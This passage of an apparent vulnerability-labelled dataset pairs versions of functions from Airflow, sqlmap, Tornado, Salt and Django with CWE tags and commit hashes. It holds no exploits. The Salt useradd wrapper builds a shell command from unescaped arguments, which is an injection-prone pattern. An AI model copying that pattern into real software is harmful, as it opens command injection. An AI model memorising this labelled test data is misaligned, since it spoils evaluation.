                ti.rendered_map_index = _render_map_index(context, ti=ti, log=log)

        _push_xcom_if_needed(result, ti, log)

        msg, state = _handle_current_task_success(context, ti)
    except DownstreamTasksSkipped as skip:
        log.info(""Skipping downstream tasks."")
        tasks_to_skip = skip.tasks if isinstance(skip.tasks, list) else [skip.tasks]
        SUPERVISOR_COMMS.send(msg=SkipDownstreamTasks(tasks=tasks_to_skip))
        msg, state = _handle_current_task_success(context, ti)
    except DagRunTriggerException as drte:
        msg, state = _handle_trigger_dag_run(drte, context, ti, log)
    except TaskDeferred as defer:
        msg, state = _defer_task(defer, ti, log)
    except AirflowSkipException as e:
        if e.args:
            log.info(""Skipping task."", reason=e.args[0])
        msg = TaskState(
            state=TaskInstanceState.SKIPPED,
            end_date=datetime.now(tz=timezone.utc),
            rendered_map_index=ti.rendered_map_index,
        )
        state = TaskInstanceState.SKIPPED
    except AirflowRescheduleException as reschedule:
        log.info(""Rescheduling task, marking task as UP_FOR_RESCHEDULE"")
        msg = RescheduleTask(
            reschedule_date=reschedule.reschedule_date, end_date=datetime.now(tz=timezone.utc)
        )
        state = TaskInstanceState.UP_FOR_RESCHEDULE
    except (AirflowFailException, AirflowSensorTimeout) as e:
        # If AirflowFailException is raised, task should not retry.
        # If a sensor in reschedule mode reaches timeout, task should not retry.
        log.exception(""Task failed with exception"")
        msg = TaskState(
            state=TaskInstanceState.FAILED,
            end_date=datetime.now(tz=timezone.utc),
            rendered_map_index=ti.rendered_map_index,
        )
        state = TaskInstanceState.FAILED
        error = e
    except (AirflowTaskTimeout, AirflowException, AirflowRuntimeError) as e:
        # We should allow retries if the task has defined it.
        log.exception(""Task failed with exception"")
        msg, state = _handle_current_task_failed(ti)
        error = e
    except AirflowTaskTerminated as e:
        # External state updates are already handled with `ti_heartbeat` and will be
        # updated already be another UI API. So, these exceptions should ideally never be thrown.
        # If these are thrown, we should mark the TI state as failed.
        log.exception(""Task failed with exception"")
        msg = TaskState(
            state=TaskInstanceState.FAILED,
            end_date=datetime.now(tz=timezone.utc),
            rendered_map_index=ti.rendered_map_index,
        )
        state = TaskInstanceState.FAILED
        error = e
    except SystemExit as e:
        # SystemExit needs to be retried if they are eligible.
        log.error(""Task exited"", exit_code=e.code)
        msg, state = _handle_current_task_failed(ti)
        error = e
    except BaseException as e:
        log.exception(""Task failed with exception"")
        msg, state = _handle_current_task_failed(ti)
        error = e
    finally:
        if msg:
            SUPERVISOR_COMMS.send(msg=msg)

    # Return the message to make unit tests easier too
    ti.state = state
    return state, msg, error"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/agent.py,0,"def getFields(self, query):
        """"""
        Take in input a query string and return its fields (columns) and
        more details.

        Example:

        Input:  SELECT user, password FROM mysql.user
        Output: user,password

        @param query: query to be processed
        @type query: C{str}

        @return: query fields (columns) and more details
        @rtype: C{str}
        """"""

        prefixRegex = r""(?:\s+(?:FIRST|SKIP|LIMIT \d+)\s+\d+)*""
        fieldsSelectTop = re.search(r""\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM"", query, re.I)
        fieldsSelectRownum = re.search(r""\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM"", query, re.I)
        fieldsSelectDistinct = re.search(r""\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM"" % prefixRegex, query, re.I)
        fieldsSelectCase = re.search(r""\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))"" % prefixRegex, query, re.I)
        fieldsSelectFrom = re.search(r""\ASELECT%s\s+(.+?)\s+FROM "" % prefixRegex, query, re.I)
        fieldsExists = re.search(r""EXISTS\(([^)]*)\)\Z"", query, re.I)
        fieldsSelect = re.search(r""\ASELECT%s\s+(.*)"" % prefixRegex, query, re.I)
        fieldsSubstr = re.search(r""\A(SUBSTR|MID\()"", query, re.I)
        fieldsMinMaxstr = re.search(r""(?:MIN|MAX)\(([^\(\)]+)\)"", query, re.I)
        fieldsNoSelect = query

        _ = zeroDepthSearch(query, "" FROM "")
        if not _:
            fieldsSelectFrom = None

        if fieldsSubstr:
            fieldsToCastStr = query
        elif fieldsMinMaxstr:
            fieldsToCastStr = fieldsMinMaxstr.groups()[0]
        elif fieldsExists:
            if fieldsSelect:
                fieldsToCastStr = fieldsSelect.groups()[0]
        elif fieldsSelectTop:
            fieldsToCastStr = fieldsSelectTop.groups()[0]
        elif fieldsSelectRownum:
            fieldsToCastStr = fieldsSelectRownum.groups()[0]
        elif fieldsSelectDistinct:
            if Backend.getDbms() in (DBMS.HSQLDB,):
                fieldsToCastStr = fieldsNoSelect
            else:
                fieldsToCastStr = fieldsSelectDistinct.groups()[0]
        elif fieldsSelectCase:
            fieldsToCastStr = fieldsSelectCase.groups()[0]
        elif fieldsSelectFrom:
            fieldsToCastStr = query[:unArrayizeValue(_)] if _ else query
            fieldsToCastStr = re.sub(r""\ASELECT%s\s+"" % prefixRegex, """", fieldsToCastStr)
        elif fieldsSelect:
            fieldsToCastStr = fieldsSelect.groups()[0]
        else:
            fieldsToCastStr = fieldsNoSelect

        # Function
        if re.search(""\A\w+\(.*\)"", fieldsToCastStr, re.I) or (fieldsSelectCase and ""WHEN use"" not in query) or fieldsSubstr:
            fieldsToCastList = [fieldsToCastStr]
        else:
            fieldsToCastList = splitFields(fieldsToCastStr)

        return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr, fieldsExists",,sqlmapproject/sqlmap,9641e84dd95c414edcf0640e7fd0616bb90b2ad4,"def getFields(self, query):
        """"""
        Take in input a query string and return its fields (columns) and
        more details.

        Example:

        Input:  SELECT user, password FROM mysql.user
        Output: user,password

        @param query: query to be processed
        @type query: C{str}

        @return: query fields (columns) and more details
        @rtype: C{str}
        """"""

        prefixRegex = r""(?:\s+(?:FIRST|SKIP)\s+\d+)*""
        fieldsSelectTop = re.search(r""\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM"", query, re.I)
        fieldsSelectRownum = re.search(r""\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM"", query, re.I)
        fieldsSelectDistinct = re.search(r""\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM"" % prefixRegex, query, re.I)
        fieldsSelectCase = re.search(r""\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))"" % prefixRegex, query, re.I)
        fieldsSelectFrom = re.search(r""\ASELECT%s\s+(.+?)\s+FROM "" % prefixRegex, query, re.I)
        fieldsExists = re.search(r""EXISTS\(([^)]*)\)\Z"", query, re.I)
        fieldsSelect = re.search(r""\ASELECT%s\s+(.*)"" % prefixRegex, query, re.I)
        fieldsSubstr = re.search(r""\A(SUBSTR|MID\()"", query, re.I)
        fieldsMinMaxstr = re.search(r""(?:MIN|MAX)\(([^\(\)]+)\)"", query, re.I)
        fieldsNoSelect = query

        _ = zeroDepthSearch(query, "" FROM "")
        if not _:
            fieldsSelectFrom = None

        if fieldsSubstr:
            fieldsToCastStr = query
        elif fieldsMinMaxstr:
            fieldsToCastStr = fieldsMinMaxstr.groups()[0]
        elif fieldsExists:
            if fieldsSelect:
                fieldsToCastStr = fieldsSelect.groups()[0]
        elif fieldsSelectTop:
            fieldsToCastStr = fieldsSelectTop.groups()[0]
        elif fieldsSelectRownum:
            fieldsToCastStr = fieldsSelectRownum.groups()[0]
        elif fieldsSelectDistinct:
            fieldsToCastStr = fieldsSelectDistinct.groups()[0]
        elif fieldsSelectCase:
            fieldsToCastStr = fieldsSelectCase.groups()[0]
        elif fieldsSelectFrom:
            fieldsToCastStr = query[:unArrayizeValue(_)] if _ else query
            fieldsToCastStr = re.sub(r""\ASELECT%s\s+"" % prefixRegex, """", fieldsToCastStr)
        elif fieldsSelect:
            fieldsToCastStr = fieldsSelect.groups()[0]
        else:
            fieldsToCastStr = fieldsNoSelect

        # Function
        if re.search(""\A\w+\(.*\)"", fieldsToCastStr, re.I) or (fieldsSelectCase and ""WHEN use"" not in query) or fieldsSubstr:
            fieldsToCastList = [fieldsToCastStr]
        else:
            fieldsToCastList = splitFields(fieldsToCastStr)

        return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr, fieldsExists"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/simple_httpclient.py,0,"def _on_connect(self, stream):
        if self.final_callback is None:
            # final_callback is cleared if we've hit our timeout.
            stream.close()
            return
        self.stream = stream
        self.stream.set_close_callback(self.on_connection_close)
        self._remove_timeout()
        if self.final_callback is None:
            return
        if self.request.request_timeout:
            self._timeout = self.io_loop.add_timeout(
                self.start_time + self.request.request_timeout,
                stack_context.wrap(self._on_timeout))
        if (self.request.method not in self._SUPPORTED_METHODS and
                not self.request.allow_nonstandard_methods):
            raise KeyError(""unknown method %s"" % self.request.method)
        for key in ('network_interface',
                    'proxy_host', 'proxy_port',
                    'proxy_username', 'proxy_password'):
            if getattr(self.request, key, None):
                raise NotImplementedError('%s not supported' % key)
        if ""Connection"" not in self.request.headers:
            self.request.headers[""Connection""] = ""close""
        if ""Host"" not in self.request.headers:
            if '@' in self.parsed.netloc:
                self.request.headers[""Host""] = self.parsed.netloc.rpartition('@')[-1]
            else:
                self.request.headers[""Host""] = self.parsed.netloc
        username, password = None, None
        if self.parsed.username is not None:
            username, password = self.parsed.username, self.parsed.password
        elif self.request.auth_username is not None:
            username = self.request.auth_username
            password = self.request.auth_password or ''
        if username is not None:
            if self.request.auth_mode not in (None, ""basic""):
                raise ValueError(""unsupported auth_mode %s"",
                                 self.request.auth_mode)
            auth = utf8(username) + b"":"" + utf8(password)
            self.request.headers[""Authorization""] = (b""Basic "" +
                                                     base64.b64encode(auth))
        if self.request.user_agent:
            self.request.headers[""User-Agent""] = self.request.user_agent
        if not self.request.allow_nonstandard_methods:
            # Some HTTP methods nearly always have bodies while others
            # almost never do. Fail in this case unless the user has
            # opted out of sanity checks with allow_nonstandard_methods.
            body_expected = self.request.method in (""POST"", ""PATCH"", ""PUT"")
            body_present = (self.request.body is not None or
                            self.request.body_producer is not None)
            if ((body_expected and not body_present) or
                    (body_present and not body_expected)):
                raise ValueError(
                    'Body must %sbe None for method %s (unless '
                    'allow_nonstandard_methods is true)' %
                    ('not ' if body_expected else '', self.request.method))
        if self.request.expect_100_continue:
            self.request.headers[""Expect""] = ""100-continue""
        if self.request.body is not None:
            # When body_producer is used the caller is responsible for
            # setting Content-Length (or else chunked encoding will be used).
            self.request.headers[""Content-Length""] = str(len(
                self.request.body))
        if (self.request.method == ""POST"" and
                ""Content-Type"" not in self.request.headers):
            self.request.headers[""Content-Type""] = ""application/x-www-form-urlencoded""
        if self.request.decompress_response:
            self.request.headers[""Accept-Encoding""] = ""gzip""
        req_path = ((self.parsed.path or '/') +
                    (('?' + self.parsed.query) if self.parsed.query else ''))
        self.stream.set_nodelay(True)
        self.connection = HTTP1Connection(
            self.stream, True,
            HTTP1ConnectionParameters(
                no_keep_alive=True,
                max_header_size=self.max_header_size,
                decompress=self.request.decompress_response),
            self._sockaddr)
        start_line = httputil.RequestStartLine(self.request.method,
                                               req_path, '')
        self.connection.write_headers(start_line, self.request.headers)
        if self.request.expect_100_continue:
            self._read_response()
        else:
            self._write_body(True)",CWE-Unknown,tornadoweb/tornado,502b1ad7ad11b778dd28da531f1ca288c5d24cde,"def _on_connect(self, stream):
        if self.final_callback is None:
            # final_callback is cleared if we've hit our timeout.
            stream.close()
            return
        self.stream = stream
        self.stream.set_close_callback(self.on_connection_close)
        self._remove_timeout()
        if self.final_callback is None:
            return
        if self.request.request_timeout:
            self._timeout = self.io_loop.add_timeout(
                self.start_time + self.request.request_timeout,
                stack_context.wrap(self._on_timeout))
        if (self.request.method not in self._SUPPORTED_METHODS and
                not self.request.allow_nonstandard_methods):
            raise KeyError(""unknown method %s"" % self.request.method)
        for key in ('network_interface',
                    'proxy_host', 'proxy_port',
                    'proxy_username', 'proxy_password'):
            if getattr(self.request, key, None):
                raise NotImplementedError('%s not supported' % key)
        if ""Connection"" not in self.request.headers:
            self.request.headers[""Connection""] = ""close""
        if ""Host"" not in self.request.headers:
            if '@' in self.parsed.netloc:
                self.request.headers[""Host""] = self.parsed.netloc.rpartition('@')[-1]
            else:
                self.request.headers[""Host""] = self.parsed.netloc
        username, password = None, None
        if self.parsed.username is not None:
            username, password = self.parsed.username, self.parsed.password
        elif self.request.auth_username is not None:
            username = self.request.auth_username
            password = self.request.auth_password or ''
        if username is not None:
            if self.request.auth_mode not in (None, ""basic""):
                raise ValueError(""unsupported auth_mode %s"",
                                 self.request.auth_mode)
            auth = utf8(username) + b"":"" + utf8(password)
            self.request.headers[""Authorization""] = (b""Basic "" +
                                                     base64.b64encode(auth))
        if self.request.user_agent:
            self.request.headers[""User-Agent""] = self.request.user_agent
        if not self.request.allow_nonstandard_methods:
            # Some HTTP methods nearly always have bodies while others
            # almost never do. Fail in this case unless the user has
            # opted out of sanity checks with allow_nonstandard_methods.
            body_expected = self.request.method in (""POST"", ""PATCH"", ""PUT"")
            body_present = (self.request.body is not None or
                            self.request.body_producer is not None)
            if ((body_expected and not body_present) or
                    (body_present and not body_expected)):
                raise ValueError(
                    'Body must %sbe None for method %s (unelss '
                    'allow_nonstandard_methods is true)' %
                    ('not ' if body_expected else '', self.request.method))
        if self.request.expect_100_continue:
            self.request.headers[""Expect""] = ""100-continue""
        if self.request.body is not None:
            # When body_producer is used the caller is responsible for
            # setting Content-Length (or else chunked encoding will be used).
            self.request.headers[""Content-Length""] = str(len(
                self.request.body))
        if (self.request.method == ""POST"" and
                ""Content-Type"" not in self.request.headers):
            self.request.headers[""Content-Type""] = ""application/x-www-form-urlencoded""
        if self.request.decompress_response:
            self.request.headers[""Accept-Encoding""] = ""gzip""
        req_path = ((self.parsed.path or '/') +
                    (('?' + self.parsed.query) if self.parsed.query else ''))
        self.stream.set_nodelay(True)
        self.connection = HTTP1Connection(
            self.stream, True,
            HTTP1ConnectionParameters(
                no_keep_alive=True,
                max_header_size=self.max_header_size,
                decompress=self.request.decompress_response),
            self._sockaddr)
        start_line = httputil.RequestStartLine(self.request.method,
                                               req_path, '')
        self.connection.write_headers(start_line, self.request.headers)
        if self.request.expect_100_continue:
            self._read_response()
        else:
            self._write_body(True)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/useradd.py,0,"def add(name,
        uid=None,
        gid=None,
        groups=None,
        home=None,
        shell=None,
        unique=True,
        system=False,
        fullname='',
        roomnumber='',
        workphone='',
        homephone='',
        createhome=True):
    '''
    Add a user to the minion

    CLI Example::

        salt '*' user.add name <uid> <gid> <groups> <home> <shell>
    '''
    cmd = 'useradd '
    if shell:
        cmd += '-s {0} '.format(shell)
    if uid not in (None, ''):
        cmd += '-u {0} '.format(uid)
    if gid not in (None, ''):
        cmd += '-g {0} '.format(gid)
    elif groups is not None and name in groups:
        def usergroups():
            retval = False
            try:
                for line in salt.utils.fopen('/etc/login.defs'):
                    if 'USERGROUPS_ENAB' in line[:15]:
                        if ""yes"" in line:
                            retval = True
            except Exception:
                log.debug('Error reading /etc/login.defs', exc_info=True)
            return retval
        if usergroups():
            cmd += '-g {0} '.format(__salt__['file.group_to_gid'](name))
    if home is None:
        if createhome:
            cmd += '-m '
    else:
        if createhome:
            cmd += '-m -d {0} '.format(home)
        else:
            cmd += '-d {0} '.format(home)   
    if not unique:
        cmd += '-o '
    if system:
        if not __grains__['kernel'] == 'NetBSD':
            cmd += '-r '
    cmd += name
    ret = __salt__['cmd.run_all'](cmd)['retcode']
    if ret != 0:
        return False
    else:
        # At this point, the user was successfully created, so return true
        # regardless of the outcome of the below functions. If there is a
        # problem wth changing any of the user's info below, it will be raised
        # in a future highstate call. If anyone has a better idea on how to do
        # this, feel free to change it, but I didn't think it was a good idea
        # to return False when the user was successfully created since A) the
        # user does exist, and B) running useradd again would result in a
        # nonzero exit status and be interpreted as a False result.
        if groups:
            chgroups(name, groups)
        if fullname:
            chfullname(name, fullname)
        if roomnumber:
            chroomnumber(name, roomnumber)
        if workphone:
            chworkphone(name, workphone)
        if homephone:
            chhomephone(name, homephone)
        return True",,saltstack/salt,0be2f6eed316383f8fa6b6ca1ed378fdb6ea30ee,"def add(name,
        uid=None,
        gid=None,
        groups=None,
        home=True,
        shell=None,
        unique=True,
        system=False,
        fullname='',
        roomnumber='',
        workphone='',
        homephone=''):
    '''
    Add a user to the minion

    CLI Example::

        salt '*' user.add name <uid> <gid> <groups> <home> <shell>
    '''
    cmd = 'useradd '
    if shell:
        cmd += '-s {0} '.format(shell)
    if uid not in (None, ''):
        cmd += '-u {0} '.format(uid)
    if gid not in (None, ''):
        cmd += '-g {0} '.format(gid)
    elif groups is not None and name in groups:
        def usergroups():
            retval = False
            try:
                for line in salt.utils.fopen('/etc/login.defs'):
                    if 'USERGROUPS_ENAB' in line[:15]:
                        if ""yes"" in line:
                            retval = True
            except Exception:
                log.debug('Error reading /etc/login.defs', exc_info=True)
            return retval
        if usergroups():
            cmd += '-g {0} '.format(__salt__['file.group_to_gid'](name))
    if home:
        if system:
            if home is not True:
                cmd += '-m -d {0} '.format(home)
            else:
                cmd += '-d {0} '.format(home)
        else:
            if home is not True:
                cmd += '-m -d {0} '.format(home)
            else:
                cmd += '-m '
    if not unique:
        cmd += '-o '
    if system:
        if not __grains__['kernel'] == 'NetBSD':
            cmd += '-r '
    cmd += name
    ret = __salt__['cmd.run_all'](cmd)['retcode']
    if ret != 0:
        return False
    else:
        # At this point, the user was successfully created, so return true
        # regardless of the outcome of the below functions. If there is a
        # problem wth changing any of the user's info below, it will be raised
        # in a future highstate call. If anyone has a better idea on how to do
        # this, feel free to change it, but I didn't think it was a good idea
        # to return False when the user was successfully created since A) the
        # user does exist, and B) running useradd again would result in a
        # nonzero exit status and be interpreted as a False result.
        if groups:
            chgroups(name, groups)
        if fullname:
            chfullname(name, fullname)
        if roomnumber:
            chroomnumber(name, roomnumber)
        if workphone:
            chworkphone(name, workphone)
        if homephone:
            chhomephone(name, homephone)
        return True"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/security/kerberos.py,0,"def detect_conf_var():
    """"""Return true if the ticket cache contains ""conf"" information as is found
    in ticket caches of Kerberos 1.8.1 or later. This is incompatible with the
    Sun Java Krb5LoginModule in Java6, so we need to take an action to work
    around it.
    """"""
    ticket_cache = configuration.conf.get('kerberos', 'ccache')

    with open(ticket_cache, 'rb') as file:
        # Note: this file is binary, so we check against a bytearray.
        return b'X-CACHECONF:' in file.read()",CWE-Unknown,apache/airflow,d5a5b9d9f1f1efb67ffed4d8e6ef3e0a06467bed,"def detect_conf_var():
    """"""Return true if the ticket cache contains ""conf"" information as is found
    in ticket caches of Kerberos 1.8.1 or later. This is incompatible with the
    Sun Java Krb5LoginModule in Java6, so we need to take an action to work
    around it.
    """"""
    ticket_cache = configuration.conf.get('kerberos', 'ccache')

    with open(ticket_cache, 'rb') as f:
        # Note: this file is binary, so we check against a bytearray.
        return b'X-CACHECONF:' in f.read()"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow-core/src/airflow/utils/log/file_task_handler.py,0,"def read(
        self,
        task_instance: TaskInstance | TaskInstanceHistory,
        try_number: int | None = None,
        metadata: dict[str, Any] | None = None,
    ) -> tuple[list[StructuredLogMessage] | str, dict[str, Any]]:
        """"""
        Read logs of given task instance from local machine.

        :param task_instance: task instance object
        :param try_number: task instance try_number to read logs from. If None
                            it returns the log of task_instance.try_number
        :param metadata: log metadata, can be used for steaming log reading and auto-tailing.
        :return: a list of listed tuples which order log string by host
        """"""
        if try_number is None:
            try_number = task_instance.try_number

        if try_number == 0 and task_instance.state == TaskInstanceState.SKIPPED:
            logs = [
                StructuredLogMessage(  # type: ignore[call-arg]
                    event=""Task was skipped, no logs available.""
                )
            ]
            return logs, {""end_of_log"": True}

        if try_number is None or try_number < 1:
            logs = [
                StructuredLogMessage(  # type: ignore[call-arg]
                    level=""error"", event=f""Error fetching the logs. Try number {try_number} is invalid.""
                )
            ]
            return logs, {""end_of_log"": True}

        return self._read(task_instance, try_number, metadata)",CWE-Unknown,apache/airflow,aaeb727636d89f1590b93024b54cc4747c6d7bb2,"def read(
        self,
        task_instance: TaskInstance | TaskInstanceHistory,
        try_number: int | None = None,
        metadata: dict[str, Any] | None = None,
    ) -> tuple[list[StructuredLogMessage] | str, dict[str, Any]]:
        """"""
        Read logs of given task instance from local machine.

        :param task_instance: task instance object
        :param try_number: task instance try_number to read logs from. If None
                            it returns the log of task_instance.try_number
        :param metadata: log metadata, can be used for steaming log reading and auto-tailing.
        :return: a list of listed tuples which order log string by host
        """"""
        if try_number is None:
            try_number = task_instance.try_number

        if task_instance.state == TaskInstanceState.SKIPPED:
            logs = [
                StructuredLogMessage(  # type: ignore[call-arg]
                    event=""Task was skipped, no logs available.""
                )
            ]
            return logs, {""end_of_log"": True}

        if try_number is None or try_number < 1:
            logs = [
                StructuredLogMessage(  # type: ignore[call-arg]
                    level=""error"", event=f""Error fetching the logs. Try number {try_number} is invalid.""
                )
            ]
            return logs, {""end_of_log"": True}

        return self._read(task_instance, try_number, metadata)"
,UNKNOWN,UNKNOWN,tests/pytests/unit/state/test_state_highstate.py,1,"def test_compile_state_usage(highstate, state_tree_dir):
    top = pytest.helpers.temp_file(""top.sls"", ""base: {'*': [foo]}"", str(state_tree_dir))
    used_state = pytest.helpers.temp_file(
        ""foo.sls"", ""foo: test.nop"", str(state_tree_dir)
    )
    unused_state = pytest.helpers.temp_file(
        ""bar.sls"", ""bar: test.nop"", str(state_tree_dir)
    )

    with top, used_state, unused_state:
        state_usage_dict = highstate.compile_state_usage()

        assert state_usage_dict[""base""][""count_unused""] == 2
        assert state_usage_dict[""base""][""count_used""] == 1
        assert state_usage_dict[""base""][""count_all""] == 3
        assert state_usage_dict[""base""][""used""] == [""foo""]
        assert state_usage_dict[""base""][""unused""] == [""bar"", ""top""]",CWE-703,saltstack/salt,514eaabb6eb439fefbae2e3dc805a9a36dd811b1,"def test_compile_state_usage(highstate, state_tree_dir):
    top = pytest.helpers.temp_file(""top.sls"", ""base: {'*': [foo]}"", str(state_tree_dir))
    used_state = pytest.helpers.temp_file(
        ""foo.sls"", ""foo: test.nop"", str(state_tree_dir)
    )
    unused_state = pytest.helpers.temp_file(
        ""bar.sls"", ""bar: test.nop"", str(state_tree_dir)
    )

    with top, used_state, unused_state:
        state_usage_dict = highstate.compile_state_usage()

        assert state_usage_dict[""base""][""count_unused""] == 2
        assert state_usage_dict[""base""][""count_used""] == 1
        assert state_usage_dict[""base""][""count_all""] == 3
        assert state_usage_dict[""base""][""used""] == [""foo""]
        assert state_usage_dict[""base""][""unused""] == [""bar"", ""top""]"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/http/multipartparser.py,0,"def parse(self):
        """"""
        Parse the POST data and break it into a FILES MultiValueDict and a POST
        MultiValueDict.

        Returns a tuple containing the POST and FILES dictionary, respectively.
        """"""
        # We have to import QueryDict down here to avoid a circular import.
        from django.http import QueryDict

        encoding = self._encoding
        handlers = self._upload_handlers

        # HTTP spec says that Content-Length >= 0 is valid
        # handling content-length == 0 before continuing
        if self._content_length == 0:
            return QueryDict('', encoding=self._encoding), MultiValueDict()

        # See if any of the handlers take care of the parsing.
        # This allows overriding everything if need be.
        for handler in handlers:
            result = handler.handle_raw_input(self._input_data,
                                              self._meta,
                                              self._content_length,
                                              self._boundary,
                                              encoding)
            # Check to see if it was handled
            if result is not None:
                return result[0], result[1]

        # Create the data structures to be used later.
        self._post = QueryDict('', mutable=True)
        self._files = MultiValueDict()

        # Instantiate the parser and stream:
        stream = LazyStream(ChunkIter(self._input_data, self._chunk_size))

        # Whether or not to signal a file-completion at the beginning of the loop.
        old_field_name = None
        counters = [0] * len(handlers)

        try:
            for item_type, meta_data, field_stream in Parser(stream, self._boundary):
                if old_field_name:
                    # We run this at the beginning of the next loop
                    # since we cannot be sure a file is complete until
                    # we hit the next boundary/part of the multipart content.
                    self.handle_file_complete(old_field_name, counters)
                    old_field_name = None

                try:
                    disposition = meta_data['content-disposition'][1]
                    field_name = disposition['name'].strip()
                except (KeyError, IndexError, AttributeError):
                    continue

                transfer_encoding = meta_data.get('content-transfer-encoding')
                if transfer_encoding is not None:
                    transfer_encoding = transfer_encoding[0].strip()
                field_name = force_text(field_name, encoding, errors='replace')

                if item_type == FIELD:
                    # This is a post field, we can just set it in the post
                    if transfer_encoding == 'base64':
                        raw_data = field_stream.read()
                        try:
                            data = base64.b64decode(raw_data)
                        except _BASE64_DECODE_ERROR:
                            data = raw_data
                    else:
                        data = field_stream.read()

                    self._post.appendlist(field_name,
                                          force_text(data, encoding, errors='replace'))
                elif item_type == FILE:
                    # This is a file, use the handler...
                    file_name = disposition.get('filename')
                    if not file_name:
                        continue
                    file_name = force_text(file_name, encoding, errors='replace')
                    file_name = self.IE_sanitize(unescape_entities(file_name))

                    content_type, content_type_extra = meta_data.get('content-type', ('', {}))
                    content_type = content_type.strip()
                    charset = content_type_extra.get('charset')

                    try:
                        content_length = int(meta_data.get('content-length')[0])
                    except (IndexError, TypeError, ValueError):
                        content_length = None

                    counters = [0] * len(handlers)
                    try:
                        for handler in handlers:
                            try:
                                handler.new_file(field_name, file_name,
                                                 content_type, content_length,
                                                 charset, content_type_extra)
                            except StopFutureHandlers:
                                break

                        for chunk in field_stream:
                            if transfer_encoding == 'base64':
                                # We only special-case base64 transfer encoding
                                # We should always read base64 streams by multiple of 4
                                over_bytes = len(chunk) % 4
                                if over_bytes:
                                    over_chunk = field_stream.read(4 - over_bytes)
                                    chunk += over_chunk

                                try:
                                    chunk = base64.b64decode(chunk)
                                except Exception as e:
                                    # Since this is only a chunk, any error is an unfixable error.
                                    msg = ""Could not decode base64 data: %r"" % e
                                    six.reraise(MultiPartParserError, MultiPartParserError(msg), sys.exc_info()[2])

                            for i, handler in enumerate(handlers):
                                chunk_length = len(chunk)
                                chunk = handler.receive_data_chunk(chunk,
                                                                   counters[i])
                                counters[i] += chunk_length
                                if chunk is None:
                                    # If the chunk received by the handler is None, then don't continue.
                                    break

                    except SkipFile:
                        # Just use up the rest of this file...
                        exhaust(field_stream)
                    else:
                        # Handle file upload completions on next iteration.
                        old_field_name = field_name
                else:
                    # If this is neither a FIELD or a FILE, just exhaust the stream.
                    exhaust(stream)
        except StopUpload as e:
            if not e.connection_reset:
                exhaust(self._input_data)
        else:
            # Make sure that the request data is all fed
            exhaust(self._input_data)

        # Signal that the upload has completed.
        for handler in handlers:
            retval = handler.upload_complete()
            if retval:
                break

        return self._post, self._files",CWE-Unknown,django/django,8eec2d93b6e93b8a1107fb3de2acd68d6994d6ec,"def parse(self):
        """"""
        Parse the POST data and break it into a FILES MultiValueDict and a POST
        MultiValueDict.

        Returns a tuple containing the POST and FILES dictionary, respectively.
        """"""
        # We have to import QueryDict down here to avoid a circular import.
        from django.http import QueryDict

        encoding = self._encoding
        handlers = self._upload_handlers

        # HTTP spec says that Content-Length >= 0 is valid
        # handling content-length == 0 before continuing
        if self._content_length == 0:
            return QueryDict('', encoding=self._encoding), MultiValueDict()

        # See if any of the handlers take care of the parsing.
        # This allows overriding everything if need be.
        for handler in handlers:
            result = handler.handle_raw_input(self._input_data,
                                              self._meta,
                                              self._content_length,
                                              self._boundary,
                                              encoding)
            #Check to see if it was handled
            if result is not None:
                return result[0], result[1]

        # Create the data structures to be used later.
        self._post = QueryDict('', mutable=True)
        self._files = MultiValueDict()

        # Instantiate the parser and stream:
        stream = LazyStream(ChunkIter(self._input_data, self._chunk_size))

        # Whether or not to signal a file-completion at the beginning of the loop.
        old_field_name = None
        counters = [0] * len(handlers)

        try:
            for item_type, meta_data, field_stream in Parser(stream, self._boundary):
                if old_field_name:
                    # We run this at the beginning of the next loop
                    # since we cannot be sure a file is complete until
                    # we hit the next boundary/part of the multipart content.
                    self.handle_file_complete(old_field_name, counters)
                    old_field_name = None

                try:
                    disposition = meta_data['content-disposition'][1]
                    field_name = disposition['name'].strip()
                except (KeyError, IndexError, AttributeError):
                    continue

                transfer_encoding = meta_data.get('content-transfer-encoding')
                if transfer_encoding is not None:
                    transfer_encoding = transfer_encoding[0].strip()
                field_name = force_text(field_name, encoding, errors='replace')

                if item_type == FIELD:
                    # This is a post field, we can just set it in the post
                    if transfer_encoding == 'base64':
                        raw_data = field_stream.read()
                        try:
                            data = base64.b64decode(raw_data)
                        except _BASE64_DECODE_ERROR:
                            data = raw_data
                    else:
                        data = field_stream.read()

                    self._post.appendlist(field_name,
                                          force_text(data, encoding, errors='replace'))
                elif item_type == FILE:
                    # This is a file, use the handler...
                    file_name = disposition.get('filename')
                    if not file_name:
                        continue
                    file_name = force_text(file_name, encoding, errors='replace')
                    file_name = self.IE_sanitize(unescape_entities(file_name))

                    content_type, content_type_extra = meta_data.get('content-type', ('', {}))
                    content_type = content_type.strip()
                    charset = content_type_extra.get('charset')

                    try:
                        content_length = int(meta_data.get('content-length')[0])
                    except (IndexError, TypeError, ValueError):
                        content_length = None

                    counters = [0] * len(handlers)
                    try:
                        for handler in handlers:
                            try:
                                handler.new_file(field_name, file_name,
                                                 content_type, content_length,
                                                 charset, content_type_extra)
                            except StopFutureHandlers:
                                break

                        for chunk in field_stream:
                            if transfer_encoding == 'base64':
                                # We only special-case base64 transfer encoding
                                # We should always read base64 streams by multiple of 4
                                over_bytes = len(chunk) % 4
                                if over_bytes:
                                    over_chunk = field_stream.read(4 - over_bytes)
                                    chunk += over_chunk

                                try:
                                    chunk = base64.b64decode(chunk)
                                except Exception as e:
                                    # Since this is only a chunk, any error is an unfixable error.
                                    msg = ""Could not decode base64 data: %r"" % e
